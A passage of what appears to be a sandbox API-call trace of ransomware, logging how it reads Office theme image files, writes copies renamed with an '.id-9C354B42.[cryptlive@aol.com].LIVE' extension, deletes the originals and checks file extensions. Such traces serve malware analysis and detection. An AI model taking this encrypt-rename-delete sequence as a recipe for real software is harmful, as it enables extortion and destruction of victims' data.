[0051.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0051.644] lstrlenW (lpString=".doc") returned 4 [0051.644] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.644] lstrlenW (lpString=".docx") returned 5 [0051.644] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.644] lstrlenW (lpString=".pdf") returned 4 [0051.644] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.644] lstrlenW (lpString=".xls") returned 4 [0051.644] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.644] lstrlenW (lpString=".xlsx") returned 5 [0051.644] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.644] lstrlenW (lpString=".ppt") returned 4 [0051.644] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0051.644] lstrlenW (lpString=".zip") returned 4 [0051.644] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.644] lstrlenW (lpString=".rar") returned 4 [0051.644] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.644] lstrlenW (lpString=".bz2") returned 4 [0051.644] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.644] lstrlenW (lpString=".7z") returned 3 [0051.645] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0051.645] lstrlenW (lpString=".dbf") returned 4 [0051.645] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0051.645] lstrlenW (lpString=".1cd") returned 4 [0051.645] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0051.645] lstrlenW (lpString=".jpg") returned 4 [0051.645] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.645] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.645] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.645] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2604) returned 1 [0051.645] CloseHandle (hObject=0x200) returned 1 [0051.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0051.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.646] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.646] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.647] GetLastError () returned 0x0 [0051.647] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0xa2c, lpOverlapped=0x0) returned 1 [0051.649] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0051.650] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.650] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.650] SetEndOfFile (hFile=0x1f8) returned 1 [0051.650] CloseHandle (hObject=0x1f8) returned 1 [0051.650] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.650] SetEndOfFile (hFile=0x200) returned 1 [0051.651] CloseHandle (hObject=0x200) returned 1 [0051.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.651] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0051.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0051.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0051.652] lstrlenW (lpString=".doc") returned 4 [0051.652] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.652] lstrlenW (lpString=".docx") returned 5 [0051.652] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.652] lstrlenW (lpString=".pdf") returned 4 [0051.652] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.652] lstrlenW (lpString=".xls") returned 4 [0051.652] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.652] lstrlenW (lpString=".xlsx") returned 5 [0051.652] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.652] lstrlenW (lpString=".ppt") returned 4 [0051.652] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0051.652] lstrlenW (lpString=".zip") returned 4 [0051.652] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.652] lstrlenW (lpString=".rar") returned 4 [0051.652] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.652] lstrlenW (lpString=".bz2") returned 4 [0051.652] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.652] lstrlenW (lpString=".7z") returned 3 [0051.652] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0051.652] lstrlenW (lpString=".dbf") returned 4 [0051.652] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0051.652] lstrlenW (lpString=".1cd") returned 4 [0051.652] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0051.652] lstrlenW (lpString=".jpg") returned 4 [0051.652] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0051.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0051.653] lstrlenW (lpString=".doc") returned 4 [0051.653] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.653] lstrlenW (lpString=".docx") returned 5 [0051.653] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.653] lstrlenW (lpString=".pdf") returned 4 [0051.653] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.653] lstrlenW (lpString=".xls") returned 4 [0051.653] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.653] lstrlenW (lpString=".xlsx") returned 5 [0051.653] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.653] lstrlenW (lpString=".ppt") returned 4 [0051.653] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0051.653] lstrlenW (lpString=".zip") returned 4 [0051.653] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.653] lstrlenW (lpString=".rar") returned 4 [0051.653] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.653] lstrlenW (lpString=".bz2") returned 4 [0051.653] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.653] lstrlenW (lpString=".7z") returned 3 [0051.653] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0051.653] lstrlenW (lpString=".dbf") returned 4 [0051.653] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0051.653] lstrlenW (lpString=".1cd") returned 4 [0051.653] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0051.653] lstrlenW (lpString=".jpg") returned 4 [0051.653] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.654] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.654] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.656] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=31975) returned 1 [0051.656] CloseHandle (hObject=0x200) returned 1 [0051.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0051.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.656] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.656] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.656] GetLastError () returned 0x0 [0051.656] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0051.659] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0051.660] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.660] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.660] SetEndOfFile (hFile=0x1f8) returned 1 [0051.661] CloseHandle (hObject=0x1f8) returned 1 [0051.661] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.661] SetEndOfFile (hFile=0x200) returned 1 [0051.662] CloseHandle (hObject=0x200) returned 1 [0051.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.662] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0051.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0051.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0051.662] lstrlenW (lpString=".doc") returned 4 [0051.662] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.662] lstrlenW (lpString=".docx") returned 5 [0051.662] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.662] lstrlenW (lpString=".pdf") returned 4 [0051.662] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.662] lstrlenW (lpString=".xls") returned 4 [0051.662] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.662] lstrlenW (lpString=".xlsx") returned 5 [0051.663] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.663] lstrlenW (lpString=".ppt") returned 4 [0051.663] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0051.663] lstrlenW (lpString=".zip") returned 4 [0051.663] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.663] lstrlenW (lpString=".rar") returned 4 [0051.663] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.663] lstrlenW (lpString=".bz2") returned 4 [0051.663] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.663] lstrlenW (lpString=".7z") returned 3 [0051.663] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0051.663] lstrlenW (lpString=".dbf") returned 4 [0051.663] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0051.663] lstrlenW (lpString=".1cd") returned 4 [0051.663] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0051.663] lstrlenW (lpString=".jpg") returned 4 [0051.663] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0051.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0051.663] lstrlenW (lpString=".doc") returned 4 [0051.663] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.663] lstrlenW (lpString=".docx") returned 5 [0051.663] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.663] lstrlenW (lpString=".pdf") returned 4 [0051.663] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.663] lstrlenW (lpString=".xls") returned 4 [0051.663] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.663] lstrlenW (lpString=".xlsx") returned 5 [0051.664] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.664] lstrlenW (lpString=".ppt") returned 4 [0051.664] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0051.664] lstrlenW (lpString=".zip") returned 4 [0051.664] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.664] lstrlenW (lpString=".rar") returned 4 [0051.664] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.664] lstrlenW (lpString=".bz2") returned 4 [0051.664] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.664] lstrlenW (lpString=".7z") returned 3 [0051.664] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0051.664] lstrlenW (lpString=".dbf") returned 4 [0051.664] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0051.664] lstrlenW (lpString=".1cd") returned 4 [0051.664] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0051.664] lstrlenW (lpString=".jpg") returned 4 [0051.664] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.664] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.664] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.665] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=4100) returned 1 [0051.665] CloseHandle (hObject=0x200) returned 1 [0051.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0051.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.666] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.666] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.884] GetLastError () returned 0x0 [0051.884] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x1004, lpOverlapped=0x0) returned 1 [0051.885] WriteFile (in: hFile=0x184, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x1010, lpOverlapped=0x0) returned 1 [0051.886] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.886] WriteFile (in: hFile=0x184, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.886] SetEndOfFile (hFile=0x184) returned 1 [0051.886] CloseHandle (hObject=0x184) returned 1 [0051.887] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.887] SetEndOfFile (hFile=0x200) returned 1 [0051.887] CloseHandle (hObject=0x200) returned 1 [0051.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.888] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0051.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0051.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0051.888] lstrlenW (lpString=".doc") returned 4 [0051.888] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.888] lstrlenW (lpString=".docx") returned 5 [0051.888] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.888] lstrlenW (lpString=".pdf") returned 4 [0051.888] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.888] lstrlenW (lpString=".xls") returned 4 [0051.888] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.888] lstrlenW (lpString=".xlsx") returned 5 [0051.888] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.888] lstrlenW (lpString=".ppt") returned 4 [0051.888] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0051.888] lstrlenW (lpString=".zip") returned 4 [0051.888] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.888] lstrlenW (lpString=".rar") returned 4 [0051.888] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.888] lstrlenW (lpString=".bz2") returned 4 [0051.889] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.889] lstrlenW (lpString=".7z") returned 3 [0051.889] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0051.889] lstrlenW (lpString=".dbf") returned 4 [0051.889] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0051.889] lstrlenW (lpString=".1cd") returned 4 [0051.889] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0051.889] lstrlenW (lpString=".jpg") returned 4 [0051.889] 